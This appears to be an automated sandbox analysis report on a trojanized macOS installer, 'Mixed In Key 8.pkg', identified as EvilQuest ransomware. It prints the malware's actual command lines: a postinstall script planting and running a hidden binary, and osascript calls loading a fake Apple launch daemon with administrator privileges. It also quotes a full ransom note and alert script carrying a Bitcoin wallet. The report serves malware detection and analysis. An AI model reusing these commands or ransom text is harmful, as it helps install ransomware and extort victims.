Analysis
- max time kernel
149s - max time network
155s - platform
macos-10.15_amd64 - resource
macos-20240410-en - resource tags
- submitted
02/06/2024, 00:02
General
- Target Mixed In Key 8.pkg
- Size 10.0MB
- Sample240602-abvbvabf4s
- SHA256 9e8c30955ccb5797efaab676ffdf36fe08ce32d4aab4d18e1a9ed2be43d5db0f
Score
10/10
Malware Config
Extracted
Path
-
/Users/run/Desktop/READ_ME_NOW.txt
Ransom Note
- YOUR IMPORTANT FILES ARE ENCRYPTED Many of your documents, photos, videos, images and other files are no longer accessible because they have been encrypted. Maybe you are busy looking for a way to recover your files, but do not waste your time. Nobody can recover your file without our decryption service. We use 256-bit AES algorithm so it will take you more than a billion years to break this encryption without knowing the key (you can read Wikipedia about AES if you don't believe this statement). Anyways, we guarantee that you can recover your files safely and easily. This will require us to use some processing power, electricity and storage on our side, so there's a fixed processing fee of 50 USD. This is a one-time payment, no additional fees included. In order to accept this offer, you have to deposit payment within 72 hours (3 days) after receiving this message, otherwise this offer will expire and you will lose your files forever. Payment has to be deposited in Bitcoin based on Bitcoin/USD exchange rate at the moment of payment. The address you have to make payment is: 13roGMpWd7Pb3ZoJyce8eoQpfegQvGHHK7 Decryption will start automatically within 2 hours after the payment has been processed and will take from 2 to 5 hours depending on the processing power of your computer. After that all of your files will be restored. THIS OFFER IS VALID FOR 72 HOURS AFTER RECEIVING THIS MESSAGE
Wallets
-
13roGMpWd7Pb3ZoJyce8eoQpfegQvGHHK7
Signatures
- EvilQuest
EvilQuest family.
- EvilQuest payload 1 IoCs
- Compromise Client Software Binary 1 TTPs 2 IoCs
Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server.
- File Permission 1 TTPs
Adversaries may modify file permissions/attributes to evade access control lists (ACLs) and access protected files.
- Installer Packages 1 TTPs 2 IoCs
Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system.
- Launch Daemon 1 TTPs
Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS.
- AppleScript 1 TTPs 10 IoCs
AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.
- Resource Forking 1 TTPs 4 IoCs
Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.
- Command and Scripting Interpreter 1 TTPs
Adversaries may abuse Unix shell commands and scripts for execution.
- Launchctl 1 TTPs 9 IoCs
Adversaries may abuse launchctl to execute commands or programs. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.
Processes
-
/bin/shsh -c "sudo /bin/zsh -c \"installer -pkg /Users/run/setup.pkg -target /\""1⤵
-
/bin/bashsh -c "sudo /bin/zsh -c \"installer -pkg /Users/run/setup.pkg -target /\""1⤵
-
/usr/bin/sudosudo /bin/zsh -c "installer -pkg /Users/run/setup.pkg -target /"1⤵
-
/bin/zsh/bin/zsh -c "installer -pkg /Users/run/setup.pkg -target /"2⤵
-
-
/usr/sbin/installerinstaller -pkg /Users/run/setup.pkg -target /2⤵
-
-
/usr/libexec/xpcproxyxpcproxy com.apple.installd1⤵
-
/System/Library/PrivateFrameworks/PackageKit.framework/Resources/installd/System/Library/PrivateFrameworks/PackageKit.framework/Resources/installd1⤵
-
/System/Library/PrivateFrameworks/PackageKit.framework/Resources/install_monitor/System/Library/PrivateFrameworks/PackageKit.framework/Resources/install_monitor -t /private/var/run/installd.commit.pid1⤵
-
/System/Library/PrivateFrameworks/PackageKit.framework/Resources/shove/System/Library/PrivateFrameworks/PackageKit.framework/Resources/shove -f -s /Library/InstallerSandboxes/.PKInstallSandboxManager/F0B5FBDB-7A0B-4AE6-8C11-86110BE5DDCF.activeSandbox/Root /1⤵
-
/tmp/PKInstallSandbox.OP1Ajg/Scripts/com.mixedinkey.installer.p5Qi7h/postinstall/tmp/PKInstallSandbox.OP1Ajg/Scripts/com.mixedinkey.installer.p5Qi7h/postinstall /Users/run/setup.pkg /Applications / /1⤵
-
/bin/bash/bin/sh /tmp/PKInstallSandbox.OP1Ajg/Scripts/com.mixedinkey.installer.p5Qi7h/postinstall /Users/run/setup.pkg /Applications / /1⤵
-
/bin/mkdirmkdir /Library/mixednkey2⤵
-
-
/bin/mvmv /Applications/Utils/patch /Library/mixednkey/toolroomd2⤵
-
-
/bin/rmdirrmdir /Application/Utils2⤵
-
-
/bin/chmodchmod +x /Library/mixednkey/toolroomd2⤵
-
-
/Library/mixednkey/toolroomd/Library/mixednkey/toolroomd2⤵
-
-
/Users/run/Hellper.app2⤵
-
-
/System/Library/PrivateFrameworks/PackageKit.framework/Resources/efw_cache_update/System/Library/PrivateFrameworks/PackageKit.framework/Resources/efw_cache_update -c1⤵
-
/bin/shsh -c "osascript -e \"do shell script \\\"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl start questd\\\" with administrator privileges\""1⤵
-
/bin/bashsh -c "osascript -e \"do shell script \\\"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl start questd\\\" with administrator privileges\""1⤵
-
/bin/shsh -c "osascript -e \"do shell script \\\"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl start questd\\\" with administrator privileges\""1⤵
-
/bin/bashsh -c "osascript -e \"do shell script \\\"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl start questd\\\" with administrator privileges\""1⤵
-
/bin/shsh -c "osascript -e \"do shell script \\\"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl start questd\\\" with administrator privileges\""1⤵
-
/bin/bashsh -c "osascript -e \"do shell script \\\"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl start questd\\\" with administrator privileges\""1⤵
-
/bin/shsh -c "osascript -e \"do shell script \\\"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl start questd\\\" with administrator privileges\""1⤵
-
/bin/bashsh -c "osascript -e \"do shell script \\\"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl start questd\\\" with administrator privileges\""1⤵
-
/bin/shsh -c "osascript -e \"do shell script \\\"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl start questd\\\" with administrator privileges\""1⤵
-
/bin/bashsh -c "osascript -e \"do shell script \\\"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl start questd\\\" with administrator privileges\""1⤵
-
/bin/shsh -c "osascript -e \"do shell script \\\"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl start questd\\\" with administrator privileges\""1⤵
-
/bin/bashsh -c "osascript -e \"do shell script \\\"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl start questd\\\" with administrator privileges\""1⤵
-
/usr/bin/bzip2/usr/bin/bzip2 -f /var/log/wifi.log.01⤵
-
/bin/shsh -c "osascript -e \"do shell script \\\"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl start questd\\\" with administrator privileges\""1⤵
-
/bin/bashsh -c "osascript -e \"do shell script \\\"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl start questd\\\" with administrator privileges\""1⤵
-
/usr/libexec/xpcproxyxpcproxy com.apple.accountsd1⤵
-
/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd1⤵
-
/usr/libexec/xpcproxyxpcproxy com.apple.accountsd1⤵
-
/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd1⤵
-
/usr/libexec/xpcproxyxpcproxy com.apple.accountsd1⤵
-
/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd1⤵
-
/bin/shsh -c "osascript -e \"do shell script \\\"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl start questd\\\" with administrator privileges\""1⤵
-
/bin/bashsh -c "osascript -e \"do shell script \\\"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl start questd\\\" with administrator privileges\""1⤵
-
/usr/libexec/xpcproxyxpcproxy com.apple.accountsd1⤵
-
/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd1⤵
-
/bin/shsh -c "osascript -e \"do shell script \\\"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl start questd\\\" with administrator privileges\""1⤵
-
/bin/bashsh -c "osascript -e \"do shell script \\\"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl start questd\\\" with administrator privileges\""1⤵
-
/bin/shsh -c "osascript -e \"beep 18 say \\\"Your files are encrypted\\\" waiting until completion false set alTitle to \\\"Many of your important documents, photos, videos, images and other files are no longer accessible because they have been encrypted. Maybe you are busy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service. We guarantee however that you can recover your files safely and easily and this will cost you 50 USD without any additional fees. Our offer is valid FOR 3 DAYS (starting now!). Full details can be found in the file: READ_ME_NOW.txt located on your Desktop\\\" set alText to \\\"Your files are encrypted\\\" display alert alText message alTitle as critical buttons {\\\"OK\\\"} set the clipboard to \\\"13roGMpWd7Pb3ZoJyce8eoQpfegQvGHHK7\\\"\""1⤵
-
/bin/bashsh -c "osascript -e \"beep 18 say \\\"Your files are encrypted\\\" waiting until completion false set alTitle to \\\"Many of your important documents, photos, videos, images and other files are no longer accessible because they have been encrypted. Maybe you are busy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service. We guarantee however that you can recover your files safely and easily and this will cost you 50 USD without any additional fees. Our offer is valid FOR 3 DAYS (starting now!). Full details can be found in the file: READ_ME_NOW.txt located on your Desktop\\\" set alText to \\\"Your files are encrypted\\\" display alert alText message alTitle as critical buttons {\\\"OK\\\"} set the clipboard to \\\"13roGMpWd7Pb3ZoJyce8eoQpfegQvGHHK7\\\"\""1⤵
-
/usr/libexec/xpcproxyxpcproxy com.apple.quicklook.satellite.A916EF56-4F49-40F5-B3E4-0585793D9167 6031⤵
-
/System/Library/Frameworks/QuickLook.framework/Versions/A/XPCServices/QuickLookSatellite.xpc/Contents/MacOS/QuickLookSatellite/System/Library/Frameworks/QuickLook.framework/Versions/A/XPCServices/QuickLookSatellite.xpc/Contents/MacOS/QuickLookSatellite1⤵
-
/usr/libexec/xpcproxyxpcproxy com.apple.accountsd1⤵
-
/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd1⤵
-
/usr/libexec/xpcproxyxpcproxy com.apple.accountsd1⤵
-
/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd1⤵
-
/usr/libexec/xpcproxyxpcproxy com.apple.accountsd1⤵
-
/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd1⤵
-
/usr/libexec/xpcproxyxpcproxy com.apple.accountsd1⤵
-
/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd1⤵
-
/usr/libexec/xpcproxyxpcproxy com.apple.accountsd1⤵
-
/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd1⤵
-
/usr/libexec/xpcproxyxpcproxy com.apple.accountsd1⤵
-
/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd1⤵
-
/usr/libexec/xpcproxyxpcproxy com.apple.accountsd1⤵
-
/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd/System/Library/Frameworks/Accounts.framework/Versions/A/Support/accountsd1⤵
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
2AppleScript
1Unix Shell
1System Services
1Launchctl
1Persistence
Compromise Host Software Binary
1Create or Modify System Process
1Launch Daemon
1Event Triggered Execution
1Installer Packages
1Privilege Escalation
Create or Modify System Process
1Launch Daemon
1Event Triggered Execution
1Installer Packages
1Replay Monitor
Loading Replay Monitor...
Downloads
com.mixedinkey.installer.bom
._postinstall__
com.apple.questd.plist
.CFUserTextEncoding
READ_ME_NOW.txt
com.apple.questd
com.apple.questd.plist
installd.commit.pid
postinstall